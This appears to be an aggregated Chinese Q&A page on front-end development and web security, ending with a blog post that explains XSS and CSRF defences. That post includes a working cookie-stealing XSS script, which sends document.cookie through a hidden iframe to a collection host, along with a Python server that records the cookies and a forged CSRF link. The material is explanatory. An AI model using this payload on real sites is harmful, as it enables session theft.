Ⅰ web前端開發的崗位具體是做什麼
這里通過幾家知名企業招聘前端開發的職業要求,來予以展示,前端的具體職責。
企業一:
1、協助系統架構設計師進行系統架構設計工作;
2、承擔WEB前端核心模塊的設計、實現工作;
3、承擔主要開發工作,對代碼質量及進度負責;
4、參與進行關鍵技術驗證以及技術選型工作;
5、和產品經理溝通並確定產品開發需求;
企業二:
1、根據工作安排高效、高質地完成代碼編寫,確保符合規范的前端代碼規范;
2、負責公司現有項目和新項目的前端修改調試和開發工作;
3、與設計團隊緊密配合,能夠實現實現設計師的設計想法;
4、與後端開發團隊緊密配合,確保代碼有效對接,優化網站前端性能;
5、頁面通過標准校驗,兼容各主流瀏覽器;
4
企業三:
1、負責網站前後台的修改和升級,根據網站業務需要開發,製作和程序修改;
2、參與制定網站研發方案以及,升級方案;
3、參與網站研發,按照要求按時按質按量的完成網站編程開發技術工作;
4、負責網站上線前的測試;
5、負責對網站軟硬體設施進行安全和穩定性巡檢;並負責統計和監視系統日誌;
6、協助公司各部門,滿足和協調公司各相關部門提出的網站技術需求;
7、負責網站日常運行的技術維護工作,對出現的問題積極有效的進行處理;
Ⅱ 電商網站開發中前端有哪些安全性的問題要解決
電子商務簡單的說就是利用Internet進行的交易活動,電子商務:"電子"+"商務",從電子商務的定義可以了解電子商務的安全也就相應的分為兩個方面的安全:一方面是"電子"方面的安全,就是電子商務的開展必須利用Internet來進行,而Internet本身也屬於計算機網路,所以電子商務的第一個方面的安全就是計算機網路的安全,它包括計算機網路硬體的安全與計算機網路軟體的安全,計算機網路存在著很多安全威脅,也就給電子商務帶來了安全威脅;另一方面是"商務"方面的安全,是把傳統的商務活動在Internet上開展時,由干Internet存著很多安全隱患給電子商務帶來了安全威脅,簡稱為"商務交易安全威脅"。這兩個方面的安全威脅也就給電子商務帶來了很多安全問題:
(一)計算機網路安全威脅
電子商務包含"三流":信息流、資金流、物流,"三流"中以信息流為核心為最重要,電子商務正是通過信息流為帶動資金流、物流的完成。電子商務跟傳統商務的最重要的區別就是以計算機網路來傳遞信息,促進信息流的完成。計算機網路的安全必將影響電子商務中的"信息流"的傳遞,勢必影響電子商務的開展。計算機網路存在以下安全威脅:
1、黑客攻擊
黑客攻擊是指黑客非法進入網路,非法使用網路資源。隨著互聯網的發展,黑客攻擊也是經常發生,防不勝防,黑客利用網上的任何漏洞和缺陷修改網頁、非法進入主機、竊取信息等進行相關危害活動。2003年,僅美國國防部的"五角大樓"就受到了了230萬次對其網路的嘗試性攻擊。從這里可以看出,目前黑客攻擊已成為了電子商務中計算機網路的重要安全威脅。
2、計算機病毒的攻擊
病毒是能夠破壞計算機系統正常進行,具有傳染性的一段程序。隨著互聯網的發展,病毒利用互聯網,使得病毒的傳播速度大大加快,它侵入網路,破壞資源,成為了電子商務中計算機網路的又一重要安全威脅。
3、拒絕服務攻擊
拒絕服務攻擊(DoS)是一種破壞性的攻擊,它是一個用戶採用某種手段故意佔用大量的網路資源,使系統沒有剩餘資源為其他用戶提供服務的攻擊。目前具有代表性的拒絕服務攻擊手段包括SYNflood、ICMPflood、UDPflood等。隨著互聯網的發展,拒絕服務攻擊成為了網路安全中的重要威脅。
(二)商務交易安全威脅
把傳統的商務活動在Internet上進行,由於Internet本身的特點,存在著很多安全威脅,給電子商務帶來了安全問題。Internet的產生源於計算機資源共享的需求,具有很好的開放性,但正是由子它的開放性,使它產生了更嚴重的安全問題。Internet存在以下安全隱患:
1、開放性
開放性和資源共享是Internet最大的特點,但它的問題卻不容忽視的。正是這種開放性給電子商務帶來了安全威脅。
2、缺乏安全機制的傳輸協議
TCP/IP協議是建立在可信的環境之下,缺乏相應的安全機制,這種基於地址的協議本身就會泄露口令,根本沒有考慮安全問題;TCP/IP協議是完全公開的,其遠程訪問的功能使許多攻擊者無須到現場就能夠得手,連接的主機基於互相信任的原則等這些性質使網路更加不安全。
3、軟體系統的漏洞
隨著軟體系統規模的不斷增大,系統中的安全漏洞或"後門"也不可避免的存在。如cookie程序、JAVA應用程序、IE瀏覽器等這些軟體與程序都有可能給我們開展電子商務帶來安全威脅。
4、信息電子化
電子化信息的固有弱點就是缺乏可信度,電子信息是否正確完整是很難由信息本身鑒別的,而且在Internet傳遞電子信息,存在著難以確認信息的發出者以及信息是否被正確無誤地傳遞給接收方的問題。
(三)計算機網路安全威脅與商務交易安全威脅給電子商務帶來的安全問題
1、信息泄露
在電子商務中表現為商業機密的泄露,以上計算機網路安全威脅與Internet的安全隱患可能使得電子商務中的信息泄漏,主要包括兩個方面:(1)交易一方進行交易的內容被第三方竊取。(2)交易一方提供給另一方使用的文件第三方非法使用。
2、篡改
正是由於以上計算機網路安全威脅與Internet的安全隱患,電子的交易信息在網路上傳輸的過程中,可能被他人非法地修改、刪除或重放(指只能使用一次的信息被多次使用),這樣就使信息失去了真實性和完整性。
3、身份識別
正是由於電子商務交易中交易兩方通過網路來完成交易,雙方互不見面、互不認識,計算機網路的安全威脅與Internet的安全隱患,也可能使得電子商務交易中出現身交易身份偽造的問題。
4、信息破壞
計算機網路本身容易遭到一些惡意程序的破壞,如計算機病毒、特洛伊木馬程序、邏輯炸彈等,導致電子商務中的信息在傳遞過程被破壞。
5、破壞信息的有效性
電子商務中的交易過程中是以電子化的信息代替紙面信息,這些信息我們也必須保證它的時間的有效與本身信息的有效,必須能確認該信息確是由交易一方簽發的,計算機網路安全威脅與Internet的安全隱患,使得我們很難保證電子商務中的信息有效性。
6、泄露個人隱私
隱私權是參與電子商務的個人非常關心的一個問題。參與到電子商務中的個人就必須提供個人信息,計算機網路安全威脅與Internet的安全隱患有可能導致個人信息泄露,破壞到個人隱私。
Ⅲ Web前端開發與iOS終端開發的異同
語言
前端和終端作為面向用戶端的程序,有個共同特點:需要依賴用戶機器的運行環境,所以開發語言基本上是沒有選擇的,不像後台想用什麼就用什麼,iOS只能用Objective-C,前端只能javascript,當然iOS還可以用RubyMotion,前端還能用GWT/CoffieScript,但不是主流,用的人很少,真正用了也會多出很多麻煩。
這兩者有個有意思的對比:變數/方法命名的風格正好相反。蘋果一直鼓吹用戶體驗,寫代碼也不例外,程序命名都是用英文全稱並且要多詳細有多詳細,力求看變數和方法名就能知道是幹嘛的,例如application:didFinishLaunchingWithOptions:。而js因為每次都要從網路下載,要力求減少代碼體積,所以變數方法名是盡量用縮寫,實際上有代碼壓縮工具,無論變數名寫多長最終上線的效果是一樣的,但大家也都習慣了用短的命名,例如上述objc的application:didFinishLaunchingWithOptions:方法在js里習慣的命名是:$()。
objc與js都是動態語言,使用起來還蠻像,但objc是編譯型,速度快,很多錯誤也能在編譯過程中被發現,js是解釋型,性能依賴於解釋引擎,即使在強勁的v8引擎下性能也趕不上編譯型語言,語言太動態,變數完全沒有類型,寫起來爽,debug起來稍微費點勁。一直感覺js輕巧靈活放盪不羈充滿各種奇技淫巧,objc中規中矩沒c++ java那麼嚴肅也沒有js那麼靈活。
線程
前端開發幾乎不需要線程這個概念,瀏覽器實現上頁面HTML和CSS解析渲染可能與js不在同一個線程,但所有js代碼只執行在一條線程上,不會並發執行,也就不需要考慮各種並發編程的問題。在新的JS特性中可以創建worker任務,這樣的任務是可以另起一條線程並行執行的,但由於並不是所有瀏覽器都支持,不同線程傳遞數據各個標準定的還不一樣,使用場景也少,似乎沒有大規模用起來。對於資料庫操作/發送網路請求這樣的任務是在不同於js代碼執行線程的,不過這些都由瀏覽器管理,前端無需關心也無法影響這些線程,只需接收事件回調,不需要處理任何並發問題。
終端開發需要大量使用多線程,iOS有一條主線程,UI渲染都在這個線程,其他耗時長的邏輯或者資料庫IO/網路請求都需要自己另開線程執行,否則會佔用主線程的時間,導致界面無法響應用戶交互事件,或者渲染慢導致滾動卡頓。程序邏輯分布在多個線程里跑,需要處理好各種代碼並發執行可能帶來的數據不一致/時序錯亂之類的問題,並發也導致有些bug難以排查,一不留神就掉坑,需要適當用一些隊列/鎖保證程序的執行順序。iOS提供了一套多線程管理的方法GCD,已經把線程和隊列封裝得非常簡單易用功能強大,比其他端或後台是好很多了,但還是會花大量功夫在處理多線程問題上。
存儲
終端開發需要大量的數據存儲邏輯,手機APP不像瀏覽器,用戶打開瀏覽器必定是連著網,但打開一個APP時很可能是離線,也很可能處於網路狀況極差的移動GPRS,所以必須把之前請求回來的數據保存好。保存數據後又需要與服務端最新的數據同步,如果全量同步數據量太大,耗流量速度也慢,於是需要增量同步,需要與服務端一起制定實現增量數據返回的方案,需要處理好客戶端與服務端數據一致性的問題。當數據存儲量大結構復雜時,還需要利用好有限的內存做cache,優化各類存儲查詢性能。
前端在桌面端很少需要存儲,除非是Single Page App,不存儲自然就不需要數據更新的一系列工作,數據都是從後台取出拼接後直接顯示到頁面上,即使像微博有可以在頁面內不斷載入更多數據,數據也只存在於內存,不會持久化存儲,因為桌面端網速穩定,不計流量,所有數據可以直接從後端拿取,客戶端沒必要再做一套存儲。移動端那些做得很像原生APP的Web應用就跟終端開發一樣了,數據同樣保存到sqlite,存儲邏輯以及要處理的問題都差不多。
框架
在第三方框架上Web前端和iOS開發完全相反,Web原生弱小又十分開放,讓大量第三方框架和類庫可以施展拳腳,而iOS原生強大又十分封閉,導致第三方框架沒有多少生存空間。
瀏覽器一開始只為內容型的網頁而設計,js也只是這個網頁上能加點小特效的腳本語言,在Web應用時代跟不上發展,需要很多第三方庫和框架輔助,再加上前端開發是完全開放的領域,導致庫和框架百花齊放多如牛毛,在初期多數庫的作用集中在封裝dom操作,大家不斷重復造dom操作基礎庫的輪子,在一段時間百家爭鳴後獨尊jQuery,在有使用庫的網站中90%以上使用jq,幾乎成了個標准基礎庫。後期大家已經不再重復造這個基礎庫的輪子了,多了一些代碼組織和前端架構的框架,例如一些幫助項目模塊化的框架require.js,MVC框架backbone/angular.js等。
iOS開發蘋果已提供了完整的開發框架cocoa,而這框架在每一代系統中都在升級優化和添磚加瓦,開發模式也已經定型,第三方框架沒有多少生存空間,大量流行的開源項目是一些通用組件和庫,像網路請求庫AFNetworking,資料庫操作庫FMDB。而一些大的框架像beeFramework/ReactiveCocoa較難流行起來。
兼容
前端開發需要兼容大——量的瀏覽器,桌面的chrome,safari,ie6-ie10,firefox,以及各種套殼獵豹360等瀏覽器,移動端iOS/Android各自的瀏覽器,以及無限的不同的屏幕尺寸。看起來挺可怕,實際上也沒那麼難搞,只是拿出來嚇唬下人。桌面端chrome/safari以及各種套殼的極速模式用的都是Webkit,差異很小,firefox也大體遵從標准實現,與Webkit差別不大,舊的ie6/7就需要特別照顧,不過很多網站都不支持ie6了,移動端更是一家親,全是Webkit,除了新特性上的支持程度不一,其他差異不大。對於不同的屏幕尺寸,高端點的會用響應式布局,針對不同屏幕尺寸自適應到不同布局,一般點的桌面端定死寬度,移動端拉伸自適應寬度就搞定。
終端開發也需要兼容各種不同的系統版本和手機尺寸,Android不用說,iOS也有3.5/4/4.7/5.5/9.7英寸這些尺寸,不過兼容起來跟Web一樣挺容易,就是自適應寬度,iOS的UIKit把這些都處理好了,還有autolayout,sizeClass等高級特性可用,在尺寸上並不用花太多功夫。系統版本上iOS7為分水嶺,iOS7前後版本UI上差異比較大,需要做一些功夫兼容,不過iOS用戶更新換代很快,預計再過一兩年iOS7以下用戶就可以忽略了。
性能
終端和前端都是面向用戶的,性能優化目的都是盡快呈現內容,以及讓程序在用戶操作下流暢運行。終端主要關注的是存儲/渲染性能。當一個APP存儲數據量大,數據關系復雜時,數據查詢很容易成為性能瓶頸,需要不斷優化數據存取的效率,規劃數據IO線程,設計內存cache,利用好終端設備有限的內存,渲染上避免重復渲染,盡可能復用視圖,尋找最高效的渲染方案。
前端關注頁面載入速度,由於Web頁面的結構/樣式/程序/資源圖片都是實時請求的,要讓頁面更快呈現內容,就要優化這些請求,讓這些資源以最快速度載入下來,包括合並圖片/合並代碼減少請求數,壓縮代碼,並行請求,根據版本號緩存代碼請求,gzip壓縮,模塊/圖片懶載入等。此外跟終端一樣也關注渲染性能,遵從一些規則避免頁面reflow,避免使用CSS陰影這樣耗性能的特效,用CSS3動畫代替js等。
編譯
終端開發需要編譯的過程,把程序編譯成機器語言,再與各種庫鏈接後生成平台對應的可執行文件,最後由操作系統調度執行。在iOS終端開發中編譯和鏈接的規則蘋果已經在xcode這個開發工具上封裝好,一般開發可以不用關心,但有深層需求時還是需要跟編譯打很多交道,例如用編譯前端Clang自定義靜態代碼檢測規則,寫編譯腳本做自動化編譯和持續集成,打包生成靜態庫,根據鏈接後的可執行文件的組成優化APP體積等。
前端開發的程序則不需要編譯過程,只需要把代碼扔給瀏覽器,瀏覽器邊解析代碼邊執行。雖然js/css代碼寫完無需做任何事情瀏覽器就可以解析執行,但為了上面說的性能優化,前端代碼上線前會對所有代碼和資源文件進行處理,這些處理包括:壓縮合並js/css,合並css sprite圖,處理模塊依賴,處理代碼資源版本號,處理資源定位等。這個過程很像傳統程序的編譯,把給人看的代碼優化處理成給機器看的,並解決一些依賴關系,可以算是前端的編譯過程。像grunt.js/fis這些工具可以幫助完成這個編譯過程,通常前端編譯跟上線部署結合在一起,作為上線系統的一部分。
安全
前端和終端的安全性問題上雖然不需要像後端考慮得那麼多,但還是有些需要注意。在請求的安全上,終端和前端都一樣,用戶向後端發送的請求都需要經過層層路由,不知道在哪裡就被截獲篡改或回放了,於是需要做一些措施防禦這些情況,最常見的就是身份驗證,多是採用會過期的token形式代替用戶名密碼,防止被抓包後黑客可以永遠登陸這個賬號。數據安全要求高的會用加密傳輸,或者使用https,另外還需要看情況處理一些DNS劫持,運營商廣告植入等問題。
其他安全問題終端很少考慮,在未越獄的iOS機器上系統已經幫忙保證了整個APP運行環境的安全,而在越獄的機器下惡意程序擁有root許可權可以做任何事情,APP也難以防範。前端方面瀏覽器的特性使前端開發有幾個安全隱患,一是Web頁面上任意位置都可以動態插入js代碼,瀏覽器會無區別地執行這些代碼,二是身份驗證信息都統一保存在cookie里,三是頁面上可以隨意通過iframe嵌入其他網站的頁面。造成XSS、CSRF、cookie劫持這些攻擊手段,所以前端寫代碼時都需要考慮還這些安全問題,做好相應的防範,最簡單和重要的防範就是對所有用戶輸入輸出的內容做完整的過濾,避免頁面內被嵌入惡意代碼。
交互/開發
最後說下對這兩個領域在交互和開發上的個人感觸。以前在做Web前端時,感覺Web讓人機交互倒退了十年,交互都是硬邦邦的點擊—啪一下出來結果,滾動是一格格地刷新,很多人當時在鼓吹html5可以做出多麼炫的效果時,實際上FLASH在十年前就可以做出來了,還比最現代的瀏覽器更流暢。iPhone流行後,人機交互終於恢復了應有的水平,體驗上比Web流暢太多,指尖交互/流暢的動畫/便捷的滑動手勢/無限制的實現,主流終於恢復或超越了十年前Flash的水平。
但人機交互提升了,開發方式卻大倒退,Web的開發方式非常先進,用戶用到的都是最新版本,發現bug可以馬上上線秒修復,特別適用於互聯網環境下的快速迭代,而終端APP不行,撇開iPhone的審核不說,Android也無法做到保證用戶用的是最新的程序,用的都是傳統的客戶端更新的方式,bug的修復版無法及時給到用戶,無法一天上線幾十次,需要維護很多舊版本,開發方式倒退回Web時代以前。這都是因為移動網路不穩定以及流量有限造成的,移動端無法像桌面端瀏覽器那樣完全依賴網路,所以在移動網路穩定流量免費之前,開發方式都不會有多大變化。
另外並不看好HTML5,網路上說它可以取代APP說了三四年,到現在也沒什麼戰績,我看不到它的優勢,原生APP可以獲得更多的系統資源,更流暢的人機交互體驗,HTML5在這方面永遠比不上,而它在移動端網路和流量的限制下也無法發揮Web的開發優勢,所以它不會成為主流,只適合做一些輕量的小東西。
Ⅳ 開發過程中需要考慮的web安全問題具體有哪些
SQL注入,shell注入這些,前端幹不了太多,更多的是後端來解決的。
前端開發中,我們通常遇到的安全問題有這幾個方面
一、XSS攻擊與防禦
二、CSRF攻擊
三、HTTP劫持
四、界面操作劫持
其中XSS和CSRF最常見了。
Ⅳ 怎樣防止網站開發製作的時候注意網站安全問題
網站安全的問題與網站開發製作實質上是沒有多大的關聯,網站安全性的問題都是與網站文件、程序等所處的環境是有關的,老漁哥網路分析網站的安全性問題需要注意這幾點:
1-網站程序的安全性;
2-儲存網站的空間的安全性;
3-網站文件的安全性;
4-網站資料庫的安全性等。
運營中的網站只要不出現這樣的問題:網站運行通暢,數據穩定,程序不出現漏洞,那麼一般就不會出現安全隱患的。平時還是需要進行安全性的維護工作。
Ⅵ web前端開發面臨的挑戰主要是有哪些
平時工作,多數是開發Web項目,由於一般是開發內部使用的業務系統,所以對於安全性一般不是看的很重,基本上由於是內網系統,一般也很少會受到攻擊,但有時候一些系統平台,需要外網也要使用,這種情況下,各方面的安全性就要求比較高了。
1、測試的步驟及內容
這些安全性測試,據了解一般是先收集數據,然後進行相關的滲透測試工作,獲取到網站或者系統的一些敏感數據,從而可能達到控制或者破壞系統的目的。
2、SQL注入漏洞的出現和修復
SQL注入定義:
SQL注入攻擊是黑客對資料庫進行攻擊的常用手段之一。隨著B/S模式應用開發的發展,使用這種模式編寫應用程序的程序員也越來越多。但是由於程序員的水平及經驗也參差不齊,相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。用戶可以提交一段資料庫查詢代碼,根據程序返回的結果,獲得某些他想得知的數據,這就是所謂的SQL Injection,即SQL注入。
SQL注入有時候,在地址參數輸入,或者控制項輸入都有可能進行。如在鏈接後加入』號,頁面報錯,並暴露出網站的物理路徑在很多時候,很常見,當然如果關閉了Web.Config的CustomErrors的時候,可能就不會看到。
3、跨站腳本攻擊漏洞出現和修復
跨站腳本攻擊,又稱XSS代碼攻擊,也是一種常見的腳本注入攻擊。例如在界面上,很多輸入框是可以隨意輸入內容的,特別是一些文本編輯框裡面,可以輸入例如這樣的內容,如果在一些首頁出現很多這樣內容,而又不經過處理,那麼頁面就不斷的彈框,更有甚者,在裡面執行一個無限循環的腳本函數,直到頁面耗盡資源為止,類似這樣的攻擊都是很常見的,所以我們如果是在外網或者很有危險的網路上發布程序,一般都需要對這些問題進行修復。
Ⅶ Web前端程序員常見的攻擊方式有哪些
今天小編要跟大家分享的文章是關於web前端程序員常見的攻擊方式有哪些。正在從事web前端工作的小夥伴們來和小編一起看一看吧,希望本篇文章能夠對大家有所幫助。
Web中的常見攻擊方式
1.DoS攻擊------常見的具有破壞性的安全性問題(如果是分布式攻擊的話就是DDos攻擊)
攻擊方式:PingFlood攻擊即利用ping命令不停的發送的數據包到伺服器。
2.DNS緩存污染------常見的網站不可訪問的問題
攻擊方式:第三方可信賴的域名伺服器緩存了一些DNS解析,但被別人製造一些假域名伺服器封包污
染了,指向錯誤網址。
3.ARP欺騙------常見的竊取資料的安全性問題
攻擊方式:利用ARP欺騙,偽造成網關,讓受害者的數據經過攻擊者的電腦,從而抓取別人的用戶信息。
4.SQL注入------常見的安全性問題。
解決方案:前端頁面需要校驗用戶的輸入數據(限制用戶輸入的類型、范圍、格式、長度),不能只靠後端去校驗用戶數據。一來可以提高後端處理的效率,二來可以提高後端數據的安全。
後端不要動態sql語句,使用存儲過程查詢語句。限制用戶訪問資料庫許可權。後端接受前端的數據時要過濾一些特殊字元(如:「--」等字元)
後端如果出現異常的話,要使用自定義錯誤頁,防止用戶通過伺服器默認的錯誤頁面找到伺服器漏洞。
5.XSS攻擊------相對復雜的安全性問題
攻擊方式:基於DOM的XSS即通過瀏覽器來直接運行js腳本,無須提交伺服器,從客戶端的代碼引起的。
如:其實就是發送一個合法的地址加自己的腳本,比如:#/search?wd=...受害者點擊的是#/search?wd=...鏈接,然後受害者的瀏覽網頁就加入這個惡意代碼。
存儲XSS攻擊即通過輸入框提交js腳本或者上傳文件到伺服器,從網站的資料庫引起的攻擊。
反射XSS攻擊即通過url提交js腳本到伺服器,從受害人的請求發起引起的攻擊。
6.CSRF攻擊------比xss攻擊更危險的安全性問題
攻擊方式:受害者打開網站A,登陸網站A,網站A保存一些cookies在本地(沒有關閉瀏覽器),受害者又打開網站B,網站B保存一些惡意cookies,並向網站A發送受害者的請求(網站B利用受害者攻擊網站A)。
7.中間人攻擊(會話劫持)-----常見的竊取資料的安全性問題
攻擊方式:劫持會話cookies,把受害者(A)與受害者(B)之間通信經過攻擊者的電腦。(常見於在線聊天系統)
8.後門-----常見的軟體漏洞問題
後門是指一種繞過安全性控制而獲取對程序或系統訪問權的方法。在軟體的開發階段,程序員常會在軟體內創建後門以便可以修改程序中的缺陷。如果後門被其他人知道,
或是在發布軟體之前沒有刪除,那麼它就成了安全隱患。常見於一些熱補丁更新軟體。
攻擊方式:使用webshell提交惡意的動態網頁到網站伺服器,然後執行惡意的動態頁面(如:www.XXX.xom/惡意頁面.jsp)。
以上就是小編今天為大家分享的關於web前端程序員常見的攻擊方式有哪些的文章,希望本篇文章能夠對正在從事web前端工作的小夥伴們有所幫助,想要了解更多web前端相關知識記得關注北大青鳥web培訓官網,最後祝願小夥伴們工作順利,成為一名優秀的web前端程序員。
Ⅷ 隧道安全監控報警系統最大的作用是什麼
1.告警精確度高
智能視頻分析系統內置智能演算法,能排除氣候與環境因素的干擾,有效彌補人工監控的不足,減少視頻監控系統整體的誤報率和漏報率。
2.實時識別報警
基於智能視頻分析和深度學習神經網路技術,對隧道監控區域內的異常行為進行監測,報警信息可顯示在監控客戶端界面,也可將報警信息推送到移動端。
3.全天候運行 穩定可靠
智能視頻監控系統可對監控畫面進行7×24不間斷的分析,大大提高了視頻資源的利用率,減少人工監控的工作強度。
4.告警存儲功能
對隧道監控區域內的異常行為實時識別預警,並將報警信息存儲到伺服器資料庫中,包括時間、地點、快照、視頻等。
Ⅸ 前端安全方面有沒有了解xss和csrf如何攻防
在那個年代,大家一般用拼接字元串的方式來構造動態 SQL 語句創建應用,於是 SQL 注入成了很流行的攻擊方式。在這個年代, 參數化查詢 已經成了普遍用法,我們已經離 SQL 注入很遠了。但是,歷史同樣悠久的 XSS 和 CSRF 卻沒有遠離我們。由於之前已經對 XSS 很熟悉了,所以我對用戶輸入的數據一直非常小心。如果輸入的時候沒有經過 Tidy 之類的過濾,我一定會在模板輸出時候全部轉義。所以個人感覺,要避免 XSS 也是很容易的,重點是要「小心」。但最近又聽說了另一種跨站攻擊 CSRF ,於是找了些資料了解了一下,並與 XSS 放在一起做個比較。
XSS:腳本中的不速之客
XSS 全稱「跨站腳本」,是注入攻擊的一種。其特點是不對伺服器端造成任何傷害,而是通過一些正常的站內交互途徑,例如發布評論,提交含有 JavaScript 的內容文本。這時伺服器端如果沒有過濾或轉義掉這些腳本,作為內容發布到了頁面上,其他用戶訪問這個頁面的時候就會運行這些腳本。
運行預期之外的腳本帶來的後果有很多中,可能只是簡單的惡作劇——一個關不掉的窗口:
1
2
3
while (true) {
alert("你關不掉我~");
}
也可以是盜號或者其他未授權的操作——我們來模擬一下這個過程,先建立一個用來收集信息的伺服器:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python
#-*- coding:utf-8 -*-
"""
跨站腳本注入的信息收集伺服器
"""
import bottle
app = bottle.Bottle()
plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')
app.install(plugin)
@app.route('/myxss/')
def show(cookies, db):
SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'
try:
db.execute(SQL, cookies)
except:
pass
return ""
if __name__ == "__main__":
app.run()
然後在某一個頁面的評論中注入這段代碼:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 用 <script type="text/javascript"></script> 包起來放在評論中
(function(window, document) {
// 構造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "http://192.168.123.123/myxss/";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隱藏 iframe 用於通訊
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 開工
document.body.appendChild(hideFrame);
})(window, document);
於是每個訪問到含有該評論的頁面的用戶都會遇到麻煩——他們不知道背後正悄悄的發起了一個請求,是他們所看不到的。而這個請求,會把包含了他們的帳號和其他隱私的信息發送到收集伺服器上。
我們知道 AJAX 技術所使用的 XMLHttpRequest 對象都被瀏覽器做了限制,只能訪問當前域名下的 URL,所謂不能「跨域」問題。這種做法的初衷也是防範 XSS,多多少少都起了一些作用,但不是總是有用,正如上面的注入代碼,用 iframe 也一樣可以達到相同的目的。甚至在願意的情況下,我還能用 iframe 發起 POST 請求。當然,現在一些瀏覽器能夠很智能地分析出部分 XSS 並予以攔截,例如新版的 Firefox、Chrome 都能這么做。但攔截不總是能成功,何況這個世界上還有大量根本不知道什麼是瀏覽器的用戶在用著可怕的 IE6。從原則上將,我們也不應該把事關安全性的責任推脫給瀏覽器,所以防止 XSS 的根本之道還是過濾用戶輸入。用戶輸入總是不可信任的,這點對於 Web 開發者應該是常識。
正如上文所說,如果我們不需要用戶輸入 HTML 而只想讓他們輸入純文本,那麼把所有用戶輸入進行 HTML 轉義輸出是個不錯的做法。似乎很多 Web 開發框架、模版引擎的開發者也發現了這一點,Django 內置模版和 Jinja2 模版總是默認轉義輸出變數的。如果沒有使用它們,我們自己也可以這么做。PHP 可以用 htmlspecialchars 函數,Python 可以導入 cgi 模塊用其中的 cgi.escape 函數。如果使用了某款模版引擎,那麼其必自帶了方便快捷的轉義方式。
真正麻煩的是,在一些場合我們要允許用戶輸入 HTML,又要過濾其中的腳本。Tidy 等 HTML 清理庫可以幫忙,但前提是我們小心地使用。僅僅粗暴地去掉 script 標簽是沒有用的,任何一個合法 HTML 標簽都可以添加 onclick 一類的事件屬性來執行 JavaScript。對於復雜的情況,我個人更傾向於使用簡單的方法處理,簡單的方法就是白名單重新整理。用戶輸入的 HTML 可能擁有很復雜的結構,但我們並不將這些數據直接存入資料庫,而是使用 HTML 解析庫遍歷節點,獲取其中數據(之所以不使用 XML 解析庫是因為 HTML 要求有較強的容錯性)。然後根據用戶原有的標簽屬性,重新構建 HTML 元素樹。構建的過程中,所有的標簽、屬性都只從白名單中拿取。這樣可以確保萬無一失——如果用戶的某種復雜輸入不能為解析器所識別(前面說了 HTML 不同於 XML,要求有很強的容錯性),那麼它不會成為漏網之魚,因為白名單重新整理的策略會直接丟棄掉這些未能識別的部分。最後獲得的新 HTML 元素樹,我們可以拍胸脯保證——所有的標簽、屬性都來自白名單,一定不會遺漏。
現在看來,大多數 Web 開發者都了解 XSS 並知道如何防範,往往大型的 XSS 攻擊(包括前段時間新浪微博的 XSS 注入)都是由於疏漏。我個人建議在使用模版引擎的 Web 項目中,開啟(或不要關閉)類似 Django Template、Jinja2 中「默認轉義」(Auto Escape)的功能。在不需要轉義的場合,我們可以用類似 的方式取消轉義。這種白名單式的做法,有助於降低我們由於疏漏留下 XSS 漏洞的風險。
另外一個風險集中區域,是富 AJAX 類應用(例如豆瓣網的阿爾法城)。這類應用的風險並不集中在 HTTP 的靜態響應內容,所以不是開啟模版自動轉義能就能一勞永逸的。再加上這類應用往往需要跨域,開發者不得不自己打開危險的大門。這種情況下,站點的安全非常 依賴開發者的細心和應用上線前有效的測試。現在亦有不少開源的 XSS 漏洞測試軟體包(似乎有篇文章提到豆瓣網的開發也使用自動化 XSS 測試),但我都沒試用過,故不予評價。不管怎麼說,我認為從用戶輸入的地方把好關總是成本最低而又最有效的做法。
CSRF:冒充用戶之手
起初我一直弄不清楚 CSRF 究竟和 XSS 有什麼區別,後來才明白 CSRF 和 XSS 根本是兩個不同維度上的分類。XSS 是實現 CSRF 的諸多途徑中的一條,但絕對不是唯一的一條。一般習慣上把通過 XSS 來實現的 CSRF 稱為 XSRF。
CSRF 的全稱是「跨站請求偽造」,而 XSS 的全稱是「跨站腳本」。看起來有點相似,它們都是屬於跨站攻擊——不攻擊伺服器端而攻擊正常訪問網站的用戶,但前面說了,它們的攻擊類型是不同維度上的分 類。CSRF 顧名思義,是偽造請求,冒充用戶在站內的正常操作。我們知道,絕大多數網站是通過 cookie 等方式辨識用戶身份(包括使用伺服器端 Session 的網站,因為 Session ID 也是大多保存在 cookie 裡面的),再予以授權的。所以要偽造用戶的正常操作,最好的方法是通過 XSS 或鏈接欺騙等途徑,讓用戶在本機(即擁有身份 cookie 的瀏覽器端)發起用戶所不知道的請求。
嚴格意義上來說,CSRF 不能分類為注入攻擊,因為 CSRF 的實現途徑遠遠不止 XSS 注入這一條。通過 XSS 來實現 CSRF 易如反掌,但對於設計不佳的網站,一條正常的鏈接都能造成 CSRF。
例如,一論壇網站的發貼是通過 GET 請求訪問,點擊發貼之後 JS 把發貼內容拼接成目標 URL 並訪問:
http://example.com/bbs/create_post.php?title=標題&content=內容
那麼,我只需要在論壇中發一帖,包含一鏈接:
http://example.com/bbs/create_post.php?title=我是腦殘&content=哈哈
只要有用戶點擊了這個鏈接,那麼他們的帳戶就會在不知情的情況下發布了這一帖子。可能這只是個惡作劇,但是既然發貼的請求可以偽造,那麼刪帖、轉帳、改密碼、發郵件全都可以偽造。
如何解決這個問題,我們是否可以效仿上文應對 XSS 的做法呢?過濾用戶輸入, 不允許發布這種含有站內操作 URL 的鏈接。這么做可能會有點用,但阻擋不了 CSRF,因為攻擊者可以通過 QQ 或其他網站把這個鏈接發布上去,為了偽裝可能還使用 bit.ly 壓縮一下網址,這樣點擊到這個鏈接的用戶還是一樣會中招。所以對待 CSRF ,我們的視角需要和對待 XSS 有所區別。CSRF 並不一定要有站內的輸入,因為它並不屬於注入攻擊,而是請求偽造。被偽造的請求可以是任何來源,而非一定是站內。所以我們唯有一條路可行,就是過濾請求的 處理者。
比較頭痛的是,因為請求可以從任何一方發起,而發起請求的方式多種多樣,可以通過 iframe、ajax(這個不能跨域,得先 XSS)、Flash 內部發起請求(總是個大隱患)。由於幾乎沒有徹底杜絕 CSRF 的方式,我們一般的做法,是以各種方式提高攻擊的門檻。
